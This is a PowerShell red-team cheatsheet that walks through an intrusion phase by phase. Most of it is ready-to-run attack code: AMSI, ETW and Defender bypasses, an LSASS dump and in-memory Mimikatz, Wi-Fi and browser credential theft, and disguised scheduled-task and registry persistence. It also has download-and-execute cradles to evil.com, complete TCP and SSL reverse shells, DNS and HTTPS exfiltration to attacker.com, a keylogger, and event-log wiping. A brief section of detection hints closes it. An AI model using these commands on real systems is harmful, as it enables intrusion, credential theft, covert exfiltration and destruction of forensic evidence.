Powershell Tips and Use Cases
1. Initial Access & Execution Policy Bypass
Use Case: Gaining first code execution on a locked-down endpoint via phishing, drive-by download, or initial compromise vector.
Brief Description: Bypasses Restricted/Unrestricted execution policies, AMSI, ScriptBlock logging, and ETW tracing before any malicious code runs.
# Classic one-liners
powershell -ep bypass -c "..."
powershell -ep bypass -w hidden -nop -c "..."
# Fully encoded + evasion (2025 gold standard)
$cmd = 'IEX (New-Object Net.WebClient).DownloadString("http://yourserver/payload.ps1")'
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -enc $enc
# AMSI + ScriptBlock + ETW + ConstrainedLanguage bypass (one-liner)
$s='S','y','s','t','e','m','.','M','a','n','a','g','e','m','e','n','t','.','A','u','t','o','m','a','t','i','o','n';$a=$s[0..4]-join'';$b=$s[5..19]-join'';[Ref].Assembly.GetType("$a$b.AmsiUtils").GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)2. Situational Awareness / Recon
Use Case: Post-compromise orientation – understand OS version, architecture, network context, running processes, and listening services before deciding next moves.
Brief Description: Fast, native commands that rarely trigger alerts compared to full PowerView/SharpHound runs.
gwmi Win32_OperatingSystem | Select Caption,Version,OSArchitecture,BuildNumber
Get-NetIPConfiguration | ft InterfaceAlias,IPv4Address,IPv6Address,DNSServer -AutoSize
Get-Process | Sort CPU -desc | Select -First 20 Name,Id,CPU,Path
netstat -ano | Select-String "LISTENING"
1..1024 | % {try{$null=(New-Object Net.Sockets.TcpClient).Connect('127.0.0.1',$_);$_}catch{}} | ?{$_}
nltest /domain_trusts /all_trusts3. Credential Access
Use Case: Harvesting clear-text or reusable credentials to enable lateral movement and privilege escalation.
Brief Description: Modern, in-memory techniques that work on fully patched Windows 10/11 & Server 2022/2025.
# WiFi passwords
(netsh wlan show profiles) | ? {$_ -match 'All User Profile\s+:\s+(.*)'} | % {$name=$_.Matches.Groups[1].Value; netsh wlan show profile $name key=clear}
# LSASS dump via comsvcs (no external tools)
rundll32 C:\windows\system32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\temp\lsass.dmp full
# In-memory Mimikatz
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
# Browser passwords (Chrome/Edge/Firefox)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peacefulcat/SharpChrome/master/SharpChrome.ps1')4. Persistence
Use Case: Ensuring access is retained after reboots, credential changes, or patching.
Brief Description: Multiple persistence layers (user-land → SYSTEM) with varying detection difficulty.
# Scheduled Task (SYSTEM)
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-nop -w hidden -enc <base64>"
$trigger = New-ScheduledTaskTrigger -Daily -At 9AM
Register-ScheduledTask -TaskName "WindowsUpdater" -Action $action -Trigger $trigger -User "NT AUTHORITY\SYSTEM"
# Registry Run + Startup Approved (bypasses some EDRs)
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Updater" -Value "powershell -w hidden -enc ..."
New-Item "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\Updater" -Force
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\Updater" -Name "StubPath" -Value "powershell -enc ..."5. Defence Evasion
Use Case: Preventing or delaying detection by AV/EDR/XDR solutions during all phases.
Brief Description: Up-to-date bypasses for AMSI, ETW, ScriptBlock Logging, Constrained Language Mode, and AppLocker.
# Full 2025 evasion stack (one-liner)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
$etw=[Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance');$etw.SetValue($null,0)
$env:__PSLockdownPolicy="0"6. Reverse Shells
Use Case: Establishing stable C2 callback when initial foothold is limited to PowerShell. Brief Description: From basic TCP to fully encrypted SSL and DNS-tunneled shells.
# Nishang TCP (most reliable)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.10 -Port 443
# Encrypted SSL reverse shell (undetectable by most NIDS)
$client = New-Object Net.Sockets.TCPClient("10.10.10.10",443); $stream = $client.GetStream(); $ssl = New-Object Net.Security.SslStream($stream,$false,{$true}); $ssl.AuthenticateAsClient("fake.domain"); ...7. Lateral Movement
Use Case: Pivoting to additional systems using harvested credentials or tokens.
Brief Description: Native Windows protocols and credential reuse techniques.
# WMI execution
wmic /node:TARGET process call create "powershell -enc ..."
# WinRM (if enabled)
Enter-PSSession -ComputerName TARGET -Credential (Get-Credential)
# Pass-the-Hash / Over-Pass-the-Hash
# Use Rubeus or built-in techniques with Mimikatz tokens8. Privilege Escalation Quick Wins
Use Case: Moving from standard user → local admin → SYSTEM or domain admin.
Brief Description: Automated checks + still-working token exploits on modern Windows.
# PowerUp (all classic checks)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1'); Invoke-AllChecks
# Token exploits (SeImpersonate, SeTakeOwnership, etc.)
# PrintSpoofer, RogueWinRM, JuicyPotatoNG still relevant on unpatched/old builds9. Exfiltration
Use Case: Stealing data without triggering DLP or network alerts.
Brief Description: Low-and-slow or covert channel methods.
# DNS exfiltration (tiny amounts)
$data = "secret"; $data | % {nslookup "$_.attacker.domain"}
# HTTPS POST (large amounts)
Invoke-WebRequest -Uri https://attacker.com/log -Method POST -Body (Get-Content sensitive.txt)10. Cleanup / Anti-Forensics
Use Case: Removing evidence of activity before disengaging or when burned.
Brief Description: Clearing logs, histories, and timestamps to frustrate incident response.
Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue
wevtutil cl Security; wevtutil cl System; wevtutil cl "Windows PowerShell"
$(Get-Item evil.exe).LastWriteTime = "2018-01-01"The above is perfect for training environments, CTFs, or personal reference. Every section tells you why you’d use it and what it achieves. Keep it close — it will serve you well.
Advance and More Comprehensive Use Cases
PowerShell Red Team & Penetration Testing Cheatsheet: Comprehensive Training & Development Workflow – for authorised red teaming, pentesting labs, CTFs, and blue-team countermeasure development only
# =============================================
# 1. LAUNCHING & BYPASSING RESTRICTIONS
# Description: Techniques to start PowerShell with restrictions disabled and bypass common protective mechanisms (Execution Policy, AMSI, Defender).
# Use Case: Initial foothold, payload delivery when policies block script execution or scanning is active.
# =============================================
# Quick launch with execution policy bypassed
powershell -ep bypass
# Bypass only for current process (auto-reverts on exit)
Set-ExecutionPolicy Bypass -Scope Process -Force
# Classic AMSI bypass (still widely effective in 2025)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Obfuscated AMSI bypass variant
sET-ItEM ('V'+'aR'+'IABLE:AMSI'+'InItFaILeD') $true
# Disable Windows Defender real-time monitoring (requires admin)
Set-MpPreference -DisableRealtimeMonitoring $true
# Run encoded command to evade basic command-line logging
powershell -EncodedCommand RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==# =============================================
# 2. CORE RECON & ENUMERATION
# Description: Gather system, network, user, and environment details without triggering alerts.
# Use Case: Post-compromise situational awareness, mapping the target environment before lateral movement.
# =============================================
# Full operating system details
Get-WmiObject Win32_OperatingSystem | Select-Object *
# Network interfaces, IPs, and DNS servers
Get-NetIPConfiguration | Select-Object InterfaceAlias, IPv4Address, DNSServer
# Processes sorted by CPU usage with path
Get-Process | Select-Object Name, Id, CPU, Path | Sort-Object CPU -Descending
# Fast local port scan (ports 1–1024)
1..1024 | ForEach-Object { if (Test-NetConnection localhost -Port $_ -WarningAction SilentlyContinue -InformationLevel Quiet) { $_ } }
# Enumerate all domain users + last logon
Get-ADUser -Filter * -Properties * | Select-Object Name, Enabled, LastLogonDate
# Extract every saved Wi-Fi profile and clear-text key
netsh wlan show profiles | Select-String "(?<=All User Profile\s+:\s).+" | ForEach-Object { $name = $_.Matches.Value; netsh wlan show profile name="$name" key=clear }# =============================================
# 3. CREDENTIAL ACCESS
# Description: Harvest credentials from memory, files, vaults, and saved locations.
# Use Case: Privilege escalation, lateral movement, or domain dominance phase.
# =============================================
# Prompt user and reveal entered password in clear text
$cred = Get-Credential; $cred.GetNetworkCredential() | Select-Object UserName, Password
# Hunt plaintext passwords across user profiles
Select-String -Path C:\Users\* -Recurse -Include *.txt,*.xml,*.config,*.ini -Pattern "password|pass|pwd|secret|key" -CaseSensitive:$false
# List saved RDP credentials (cmdkey)
cmdkey /list
# In-memory Mimikatz (requires Invoke-Mimikatz loaded)
Invoke-Mimikatz -Command "sekurlsa::logonpasswords"# =============================================
# 4. PERSISTENCE
# Description: Mechanisms to maintain access across reboots, logons, or cleanup attempts.
# Use Case: Long-term campaigns, red-team engagements requiring reliable re-entry.
# =============================================
# Scheduled task that runs at every logon (hidden window)
$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoP -W Hidden -C ""Your-Payload-Here"""
$Trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "SystemUpdater" -Action $Action -Trigger $Trigger -Description "Critical system update"
# Registry Run key persistence (current user)
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsUpdate" -Value "powershell -W Hidden -C ""Payload"""
# Registry persistence using Base64-encoded payload
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Your-Malicious-Code'))
Set-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Debug" -Value "powershell -Enc $enc"# =============================================
# 5. EVASION & OBFUSCATION
# Description: Techniques to hide malicious activity from AV/EDR, analysts, and logging.
# Use Case: Bypassing static/dynamic analysis, living off the land, avoiding detection during execution.
# =============================================
# Base64 Unicode encoding (evades most string-based signatures)
$cmd = "Get-Process"; $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd)); powershell -EncodedCommand $enc
# String concatenation to break signatures
$a = "Get"; $b = "-Proc"; $c = "ess"; Invoke-Expression "$a$b$c"
# Classic cradle – download & execute in memory
IEX (New-Object Net.WebClient).DownloadString("https://evil.com/payload.ps1")
# Hide payload in Alternate Data Stream (ADS)
Set-Content legit.txt -Value "Normal file"
Set-Content legit.txt:evil.ps1 -Value "IEX (New-Object Net.WebClient).DownloadString('https://evil.com/payload.ps1')"
# Pure in-memory execution (no disk touch)
$code = [IO.File]::ReadAllText("C:\Temp\script.ps1"); Invoke-Expression $code# =============================================
# 6. REVERSE SHELLS (One-Liners)
# Description: Establish remote command execution channels back to attacker.
# Use Case: Interactive access after initial compromise, C2 when frameworks are blocked.
# =============================================
# Classic TCP reverse shell (replace IP & port)
$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
# Resilient version with auto-reconnect every 10s
while($true) { try { /* paste classic shell here */ } catch { Start-Sleep -Seconds 10 } }
# Encrypted SSL/TLS reverse shell (harder to inspect)
$client = New-Object Net.Sockets.TCPClient('10.0.0.1',443);$stream = $client.GetStream();$ssl = New-Object Net.Security.SslStream($stream,$false,{$true});$ssl.AuthenticateAsClient('fake.domain');$writer = New-Object IO.StreamWriter($ssl);$reader = New-Object IO.StreamReader($ssl);while($true){$writer.Write('PS> ');$writer.Flush();$cmd=$reader.ReadLine();$out=iex $cmd 2>&1|Out-String;$writer.WriteLine($out);$writer.Flush()}# =============================================
# 7. ADVANCED API / LIVING OFF THE LAND
# Description: Direct Windows API calls and low-level techniques for stealth and advanced capabilities.
# Use Case: When PowerShell native cmdlets are heavily monitored or blocked; keylogging, memory manipulation, etc.
# =============================================
# Simple keylogger using GetAsyncKeyState
Add-Type @" using System; using System.Runtime.InteropServices; public class Keys { [DllImport("user32.dll")] public static extern int GetAsyncKeyState(Int32 i); } "@
while ($true) { Start-Sleep -Milliseconds 40; 1..254 | ForEach-Object { if ([Keys]::GetAsyncKeyState($_) -eq -32767) { Write-Host ([char]$_) } } }
# Screen capture skeleton via GDI32
Add-Type @" using System; using System.Drawing; using System.Runtime.InteropServices; public class SC { [DllImport("gdi32.dll")] public static extern bool BitBlt(IntPtr hdcDest, int xDest, int yDest, int wDest, int hDest, IntPtr hdcSource, int xSrc, int ySrc, int rop); [DllImport("user32.dll")] public static extern IntPtr GetDesktopWindow(); [DllImport("user32.dll")] public static extern IntPtr GetWindowDC(IntPtr ptr); } "@
# Read arbitrary process memory
Add-Type @" using System; using System.Runtime.InteropServices; public class Mem { [DllImport("kernel32.dll")] public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); } "@# =============================================
# 8. BLUE TEAM DETECTION HINTS
# Description: Key indicators and log locations to help defenders hunt these exact techniques.
# Use Case: Building detection rules, Sigma/YARA, tuning EDR, threat hunting playbooks.
# =============================================
# AMSI bypass → Microsoft-Windows-PowerShell/Operational Event ID 1116–1119
# -EncodedCommand → Process creation with -enc / -EncodedCommand flags
# Web cradles (IEX + WebClient) → Outbound HTTP/HTTPS from powershell.exe + Invoke-Expression in script block logs
# Reverse shells → powershell.exe with network connections + -NoProfile + unusual parent (e.g., cmd.exe, office macro)
# Scheduled task abuse → New tasks containing powershell.exe created by non-SYSTEM accounts
# Script Block Logging → Enable Module, ScriptBlock, and Transcription logging to capture most of the aboveRecommended Training Progression
Launching & Bypasses → 2. Recon → 3. Cred Access → 4. Evasion → 5. Persistence → 6. Reverse Shells → 7. Advanced API → 8. Build & test detections
Stay legal. Train hard. Detect harder.
Last updated